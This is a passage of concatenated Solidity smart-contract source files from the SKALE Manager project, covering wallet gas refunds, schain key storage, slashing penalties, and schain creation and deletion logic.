sender"); } function _getComplaintTimelimit() private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* Wallets.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./delegation/ValidatorService.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Wallets * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract Wallets is Permissions { mapping (uint => uint) private _validatorWallets; mapping (bytes32 => uint) private _schainWallets; mapping (bytes32 => uint) private _schainDebts; /** * @dev Emitted when the validator wallet was funded */ event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId); /** * @dev Emitted when the schain wallet was funded */ event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainId); /** * @dev Emitted when the node received a refund from validator to its wallet */ event NodeRefundedByValidator(address node, uint validatorId, uint amount); /** * @dev Emitted when the node received a refund from schain to its wallet */ event NodeRefundedBySchain(address node, bytes32 schainId, uint amount); /** * @dev Is executed on a call to the contract with empty calldata. * This is the function that is executed on plain Ether transfers, * so validator or schain owner can use usual transfer ether to recharge wallet. */ receive() external payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32[] memory schainIds = schainsInternal.getSchainIdsByAddress(msg.sender); if (schainIds.length == 1) { rechargeSchainWallet(schainIds[0]); } else { uint validatorId = validatorService.getValidatorId(msg.sender); rechargeValidatorWallet(validatorId); } } /** * @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds * the node will receive the entire remaining amount in the validator's wallet. * `validatorId` - validator that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * * Emits a {NodeRefundedByValidator} event. * * Requirements: * - Given validator should exist */ function refundGasByValidator( uint validatorId, address payable spender, uint spentGas ) external allowTwo("SkaleManager", "SkaleDKG") { require(validatorId != 0, "ValidatorId could not be zero"); uint amount = tx.gasprice * spentGas; if (amount <= _validatorWallets[validatorId]) { _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); emit NodeRefundedByValidator(spender, validatorId, amount); spender.transfer(amount); } else { uint wholeAmount = _validatorWallets[validatorId]; // solhint-disable-next-line reentrancy delete _validatorWallets[validatorId]; emit NodeRefundedByValidator(spender, validatorId, wholeAmount); spender.transfer(wholeAmount); } } /** * @dev Returns the amount owed to the owner of the chain by the validator, * if the validator does not have enough funds, then everything * that the validator has will be returned to the owner of the chain. */ function refundGasByValidatorToSchain(uint validatorId, bytes32 schainId) external allow("SkaleDKG") { uint debtAmount = _schainDebts[schainId]; uint validatorWallet = _validatorWallets[validatorId]; if (debtAmount <= validatorWallet) { _validatorWallets[validatorId] = validatorWallet.sub(debtAmount); } else { debtAmount = validatorWallet; delete _validatorWallets[validatorId]; } _schainWallets[schainId] = _schainWallets[schainId].add(debtAmount); delete _schainDebts[schainId]; } /** * @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds * than transaction will be reverted. * `schainId` - schain that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator * * Emits a {NodeRefundedBySchain} event. * * Requirements: * - Given schain should exist * - Schain wallet should have enough funds */ function refundGasBySchain( bytes32 schainId, address payable spender, uint spentGas, bool isDebt ) external allowTwo("SkaleDKG", "MessageProxyForMainnet") { uint amount = tx.gasprice * spentGas; if (isDebt) { amount += (_schainDebts[schainId] == 0 ? 21000 : 6000) * tx.gasprice; _schainDebts[schainId] = _schainDebts[schainId].add(amount); } require(schainId != bytes32(0), "SchainId cannot be null"); require(amount <= _schainWallets[schainId], "Schain wallet has not enough funds"); _schainWallets[schainId] = _schainWallets[schainId].sub(amount); emit NodeRefundedBySchain(spender, schainId, amount); spender.transfer(amount); } /** * @dev Withdraws money from schain wallet. Possible to execute only after deleting schain. * `schainOwner` - address of schain owner that will receive rest of the schain balance * `schainId` - schain wallet from which money is withdrawn * * Requirements: * - Executable only after initing delete schain */ function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainId) external allow("Schains") { uint amount = _schainWallets[schainId]; delete _schainWallets[schainId]; schainOwner.transfer(amount); } /** * @dev Withdraws money from vaildator wallet. * `amount` - the amount of money in wei * * Requirements: * - Validator must have sufficient withdrawal amount */ function withdrawFundsFromValidatorWallet(uint amount) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); require(amount <= _validatorWallets[validatorId], "Balance is too low"); _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); msg.sender.transfer(amount); } function getSchainBalance(bytes32 schainId) external view returns (uint) { return _schainWallets[schainId]; } function getValidatorBalance(uint validatorId) external view returns (uint) { return _validatorWallets[validatorId]; } /** * @dev Recharge the validator wallet by id. * `validatorId` - id of existing validator. * * Emits a {ValidatorWalletRecharged} event. * * Requirements: * - Given validator must exist */ function rechargeValidatorWallet(uint validatorId) public payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorExists(validatorId), "Validator does not exists"); _validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value); emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId); } /** * @dev Recharge the schain wallet by schainId (hash of schain name). * `schainId` - id of existing schain. * * Emits a {SchainWalletRecharged} event. * * Requirements: * - Given schain must be created */ function rechargeSchainWallet(bytes32 schainId) public payable { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainActive(schainId), "Schain should be active for recharging"); _schainWallets[schainId] = _schainWallets[schainId].add(msg.value); emit SchainWalletRecharged(msg.sender, msg.value, schainId); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* KeyStorage.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Decryption.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; contract KeyStorage is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; struct BroadcastedData { KeyShare[] secretKeyContribution; G2Operations.G2Point[] verificationVector; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } // Unused variable!! mapping(bytes32 => mapping(uint => BroadcastedData)) private _data; // mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress; mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys; // Unused variable mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys; // mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys; function deleteKey(bytes32 schainId) external allow("SkaleDKG") { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); delete _schainsPublicKeys[schainId]; delete _data[schainId][0]; delete _schainsNodesPublicKeys[schainId]; } function initPublicKeyInProgress(bytes32 schainId) external allow("SkaleDKG") { _publicKeysInProgress[schainId] = G2Operations.getG2Zero(); } function adding(bytes32 schainId, G2Operations.G2Point memory value) external allow("SkaleDKG") { require(value.isG2(), "Incorrect g2 point"); _publicKeysInProgress[schainId] = value.addG2(_publicKeysInProgress[schainId]); } function finalizePublicKey(bytes32 schainId) external allow("SkaleDKG") { if (!_isSchainsPublicKeyZero(schainId)) { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); } _schainsPublicKeys[schainId] = _publicKeysInProgress[schainId]; delete _publicKeysInProgress[schainId]; } function getCommonPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { return _schainsPublicKeys[schainId]; } function getPreviousPublicKey(bytes32 schainId) external view returns (G2Operations.G2Point memory) { uint length = _previousSchainsPublicKeys[schainId].length; if (length == 0) { return G2Operations.getG2Zero(); } return _previousSchainsPublicKeys[schainId][length - 1]; } function getAllPreviousPublicKeys(bytes32 schainId) external view returns (G2Operations.G2Point[] memory) { return _previousSchainsPublicKeys[schainId]; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function _isSchainsPublicKeyZero(bytes32 schainId) private view returns (bool) { return _schainsPublicKeys[schainId].x.a == 0 && _schainsPublicKeys[schainId].x.b == 0 && _schainsPublicKeys[schainId].y.a == 0 && _schainsPublicKeys[schainId].y.b == 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SlashingTable.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title Slashing Table * @dev This contract manages slashing conditions and penalties. */ contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; /** * @dev Allows the Owner to set a slashing penalty in SKL tokens for a * given offense. */ function setPenalty(string calldata offense, uint penalty) external onlyOwner { _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } /** * @dev Returns the penalty in SKL tokens for a given offense. */ function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Schains.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./ConstantsHolder.sol"; import "./KeyStorage.sol"; import "./SkaleVerifier.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./interfaces/ISkaleDKG.sol"; import "./Wallets.sol"; /** * @title Schains * @dev Contains functions to manage Schains such as Schain creation, * deletion, and rotation. */ contract Schains is Permissions { struct SchainParameters { uint lifetime; uint8 typeOfSchain; uint16 nonce; string name; } bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE"); /** * @dev Emitted when an schain is created. */ event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 schainId, uint time, uint gasSpend ); /** * @dev Emitted when an schain is deleted. */ event SchainDeleted( address owner, string name, bytes32 indexed schainId ); /** * @dev Emitted when a node in an schain is rotated. */ event NodeRotated( bytes32 schainId, uint oldNode, uint newNode ); /** * @dev Emitted when a node is added to an schain. */ event NodeAdded( bytes32 schainId, uint newNode ); /** * @dev Emitted when a group of nodes is created for an schain. */ event SchainNodes( string name, bytes32 schainId, uint[] nodesInGroup, uint time, uint gasSpend ); /** * @dev Allows SkaleManager contract to create an Schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type is valid. * - There is sufficient deposit to create type of schain. */ function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") { SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp(); uint minSchainLifetime = constantsHolder.minimalSchainLifetime(); require(now >= schainCreationTimeStamp, "It is not a time for creating Schain"); require( schainParameters.lifetime >= minSchainLifetime, "Minimal schain lifetime should be satisfied" ); require( getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); _addSchain(from, deposit, schainParameters); } /** * @dev Allows the foundation to create an Schain without tokens. * * Emits an {SchainCreated} event. * * Requirements: * * - sender is granted with SCHAIN_CREATOR_ROLE * - Schain type is valid. */ function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner ) external payable { require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain"); SchainParameters memory schainParameters = SchainParameters({ lifetime: lifetime, typeOfSchain: typeOfSchain, nonce: nonce, name: name }); address _schainOwner; if (schainOwner != address(0)) { _schainOwner = schainOwner; } else { _schainOwner = msg.sender; } _addSchain(_schainOwner, 0, schainParameters); bytes32 schainId = keccak256(abi.encodePacked(name)); Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainId); } /** * @dev Allows SkaleManager to remove an schain from the network. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Executed by schain owner. */ function deleteSchain(address from, string calldata name) external allow("SkaleManager") { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = keccak256(abi.encodePacked(name)); require( schainsInternal.isOwnerAddress(from, schainId), "Message sender is not the owner of the Schain" ); _deleteSchain(name, schainsInternal); } /** * @dev Allows SkaleManager to delete any Schain. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Schain exists. */ function deleteSchainByRoot(string calldata name) external allow("SkaleManager") { _deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal"))); } /** * @dev Allows SkaleManager contract to restart schain creation by forming a * new schain group. Executed when DKG procedure fails and becomes stuck. * * Emits a {NodeAdded} event. * * Requirements: * * - Previous DKG procedure must have failed. * - DKG failure got stuck because there were no free nodes to rotate in. * - A free node must be released in the network. */ function restartSchainCreation(string calldata name) external allow("SkaleManager") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); require(!skaleDKG.isLastDKGSuccessful(schainId), "DKG success"); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal")); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes for new group formation"); uint newNodeIndex = nodeRotation.selectNodeToGroup(schainId); skaleDKG.openChannel(schainId); emit NodeAdded(schainId, newNodeIndex); } /** * @dev addSpace - return occupied space to Node * nodeIndex - index of Node at common array of Nodes * partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); nodes.addSpaceToNode(nodeIndex, partOfNode); } /** * @dev Checks whether schain group signature is valid. */ function verifySchainSignature( uint signatureA, uint signatureB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view returns (bool) { SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier")); G2Operations.G2Point memory publicKey = KeyStorage( contractManager.getContract("KeyStorage") ).getCommonPublicKey( keccak256(abi.encodePacked(schainName)) ); return skaleVerifier.verify( Fp2Operations.Fp2Point({ a: signatureA, b: signatureB }), hash, counter, hashA, hashB, publicKey ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Returns the current price in SKL tokens for given Schain type and lifetime. */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint nodeDeposit = constantsHolder.NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain); if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2))); uint down = uint( uint(constantsHolder.SMALL_DIVISOR()) .mul(uint(constantsHolder.SECONDS_TO_YEAR())) .div(divisor) ); return up.div(down); } } /** * @dev Initializes an schain in the SchainsInternal contract. * * Requirements: * * - Schain name is not already in use. */ function _initializeSchainInSchainsInternal( string memory name, address from, uint deposit, uint lifetime, SchainsInternal schainsInternal ) private { require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain schainsInternal.initializeSchain(name, from, lifetime, deposit); schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev Converts data from bytes to normal schain parameters of lifetime, * type, nonce, and name. */ function _fallbackSchainParametersDataConverter(bytes memory data) private pure returns (SchainParameters memory schainParameters) { (schainParameters.lifetime, schainParameters.typeOfSchain, schainParameters.nonce, schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string)); } /** * @dev Allows creation of node group for Schain. * * Emits an {SchainNodes} event. */ function _createGroupForSchain( string memory schainName, bytes32 schainId, uint numberOfNodes, uint8 partOfNode, SchainsInternal schainsInternal ) private { uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainId, numberOfNodes, partOfNode); ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainId); emit SchainNodes( schainName, schainId, nodesInGroup, block.timestamp, gasleft()); } /** * @dev Creates an schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type must be valid. */ function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); //initialize Schain _initializeSchainInSchainsInternal( schainParameters.name, from, deposit, schainParameters.lifetime, schainsInternal ); // create a group for Schain uint numberOfNodes; uint8 partOfNode; (partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain); _createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode, schainsInternal ); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), block.timestamp, gasleft()); } function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); require(schainsInternal.isSchainExist(schainId), "Schain does not exist"); uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId); uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = schainsInternal.findSchainAtSchainsForNode( nodesInGroup[i], schainId ); if (schainsInternal.checkHoleForSchain(schainId, i)) { continue; } require( schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId); schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]); this.addSpace(nodesInGroup[i], partOfNode); } schainsInternal.deleteGroup(schainId); address from = schainsInternal.getSchainOwner(schainId); schainsInternal.removeSchain(schainId, from); schainsInternal.removeHolesForSchain(schainId); nodeRotation.removeRotation(schainId); Wallets(payable(contractManager.getContract("Wallets"))).withdrawFundsFromSchainWallet(payable(from), schainId); emit SchainDeleted(from, name, schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol"; /** * @title SchainsInternal * @dev Contract contains all functionality logic to internally manage Schains. */ contract SchainsInternal is Permissions { using Random for Random.RandomGenerator; using EnumerableSet for EnumerableSet.UintSet; struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint startDate; uint startBlock; uint deposit; uint64 index; } struct SchainType { uint8 partOfNode; uint numberOfNodes; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; mapping (bytes32 => bool) public isSchainActive; mapping (bytes32 => uint[]) public schainsGroups; mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => uint[]) public holesForSchains; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; mapping (bytes32 => bool) public usedSchainNames; mapping (uint => SchainType) public schainTypes; uint public numberOfSchainTypes; // schain hash => node index => index of place // index of place is a number from 1 to max number of slots on node(128) mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode; mapping (uint => bytes32[]) private _nodeToLockedSchains; mapping (bytes32 => uint[]) private _schainToExceptionNodes; EnumerableSet.UintSet private _keysOfSchainTypes; /** * @dev Allows Schain contract to initialize an schain. */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("Schains") { bytes32 schainId = keccak256(abi.encodePacked(name)); schains[schainId].name = name; schains[schainId].owner = from; schains[schainId].startDate = block.timestamp; schains[schainId].startBlock = block.number; schains[schainId].lifetime = lifetime; schains[schainId].deposit = deposit; schains[schainId].index = numberOfSchains; isSchainActive[schainId] = true; numberOfSchains++; schainsAtSystem.push(schainId); usedSchainNames[schainId] = true; } /** * @dev Allows Schain contract to create a node group for an schain. */ function createGroupForSchain( bytes32 schainId, uint numberOfNodes, uint8 partOfNode ) external allow("Schains") returns (uint[] memory) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); schains[schainId].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources.add( numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode) ); } return _generateGroup(schainId, numberOfNodes); } /** * @dev Allows Schains contract to set index in owner list. */ function setSchainIndex(bytes32 schainId, address from) external allow("Schains") { schains[schainId].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainId); } /** * @dev Allows Schains contract to change the Schain lifetime through * an additional SKL token deposit. */ function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("Schains") { schains[schainId].deposit = schains[schainId].deposit.add(deposit); schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime); } /** * @dev Allows Schains contract to remove an schain from the network. * Generally schains are not removed from the system; instead they are * simply allowed to expire. */ function removeSchain(bytes32 schainId, address from) external allow("Schains") { isSchainActive[schainId] = false; uint length = schainIndexes[from].length; uint index = schains[schainId].indexInOwnerList; if (index != length.sub(1)) { bytes32 lastSchainId = schainIndexes[from][length.sub(1)]; schains[lastSchainId].indexInOwnerList = index; schainIndexes[from][index] = lastSchainId; } schainIndexes[from].pop(); // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)]; break; } } schainsAtSystem.pop(); delete schains[schainId]; numberOfSchains--; } /** * @dev Allows Schains and SkaleDKG contracts to remove a node from an * schain for node rotation or DKG failure. */ function removeNodeFromSchain( uint nodeIndex, bytes32 schainHash ) external allowThree("NodeRotation", "SkaleDKG", "Schains") { uint indexOfNode = _findNode(schainHash, nodeIndex); uint indexOfLastNode = schainsGroups[schainHash].length.sub(1); if (indexOfNode == indexOfLastNode) { schainsGroups[schainHash].pop(); } else { delete schainsGroups[schainHash][indexOfNode]; if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) { uint hole = holesForSchains[schainHash][0]; holesForSchains[schainHash][0] = indexOfNode; holesForSchains[schainHash].push(hole); } else { holesForSchains[schainHash].push(indexOfNode); } } uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash); removeSchainForNode(nodeIndex, schainIndexOnNode); delete placeOfSchainOnNode[schainHash][nodeIndex]; } /** * @dev Allows Schains contract to delete a group of schains */ function deleteGroup(bytes32 schainId) external allow("Schains") { // delete channel ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); delete schainsGroups[schainId]; skaleDKG.deleteChannel(schainId); } /** * @dev Allows Schain and NodeRotation contracts to set a Node like * exception for a given schain and nodeIndex. */ function setException(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { _setException(schainId, nodeIndex); } /** * @dev Allows Schains and NodeRotation contracts to add node to an schain * group. */ function setNodeInGroup(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { if (holesForSchains[schainId].length == 0) { schainsGroups[schainId].push(nodeIndex); } else { schainsGroups[schainId][holesForSchains[schainId][0]] = nodeIndex; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForSchains[schainId].length; i++) { if (min > holesForSchains[schainId][i]) { min = holesForSchains[schainId][i]; index = i; } } if (min == uint(-1)) { delete holesForSchains[schainId]; } else { holesForSchains[schainId][0] = min; holesForSchains[schainId][index] = holesForSchains[schainId][holesForSchains[schainId].length - 1]; holesForSchains[schainId].pop(); } } } /** * @dev Allows Schains contract to remove holes for schains */ function removeHolesForSchain(bytes32 schainHash) external allow("Schains") { delete holesForSchains[schainHash]; } /** * @dev Allows Admin to add schain type */ function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlyAdmin { require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added"); schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode; schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes; numberOfSchainTypes++; } /** * @dev Allows Admin to remove schain type */ function removeSchainType(uint typeOfSchain) external onlyAdmin { require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed"); delete schainTypes[typeOfSchain].partOfNode; delete schainTypes[typeOfSchain].numberOfNodes; } /** * @dev Allows Admin to set number of schain types */ function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlyAdmin { numberOfSchainTypes = newNumberOfSchainTypes; } /** * @dev Allows Admin to move schain to placeOfSchainOnNode map */ function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyAdmin { for (uint i = 0; i < schainsGroups[schainHash].length; i++) { uint nodeIndex = schainsGroups[schainHash][i]; for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) { if (schainsForNodes[nodeIndex][j] == schainHash) { placeOfSchainOnNode[schainHash][nodeIndex] = j + 1; } } } } function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") { uint len = _nodeToLockedSchains[nodeIndex].length; if (len > 0) { for (uint i = len; i > 0; i--) { removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex); } } } function makeSchainNodesInvisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeInvisible(_schainToExceptionNodes[schainId][i]); } } function makeSchainNodesVisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { _makeSchainNodesVisible(schainId); } /** * @dev Returns all Schains in the network. */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev Returns all occupied resources on one node for an Schain. */ function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) { return schains[schainId].partOfNode; } /** * @dev Returns number of schains by schain owner. */ function getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns the owner of an schain. */ function getSchainOwner(bytes32 schainId) external view returns (address) { return schains[schainId].owner; 